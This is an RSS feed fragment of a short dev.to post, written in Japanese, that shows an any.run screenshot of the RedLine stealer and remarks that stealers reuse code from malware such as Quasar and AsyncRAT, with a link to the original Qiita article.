&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qvqv8zbd6zce3dp5nwp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qvqv8zbd6zce3dp5nwp.png" alt="screenshot of any run Redline page" width="800" height="127"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stealers も他のマルウェアのコードをリサイクルします! 例えばQuasarとAsyncRAT（RACOONでっと）&lt;/p&gt;

&lt;p&gt;すぐこれについて書きます! &lt;/p&gt;

&lt;p&gt;&lt;a href="https://qiita.com/terceranexus6/items/b195157b76748cf50d12" rel="noopener noreferrer"&gt;Original post&lt;/a&gt; &lt;/p&gt;

</description>
      <category>linux</category>
      <category>japanese</category>
      <category>cyberthreats</category>
    </item>
  </channel>
</rss>
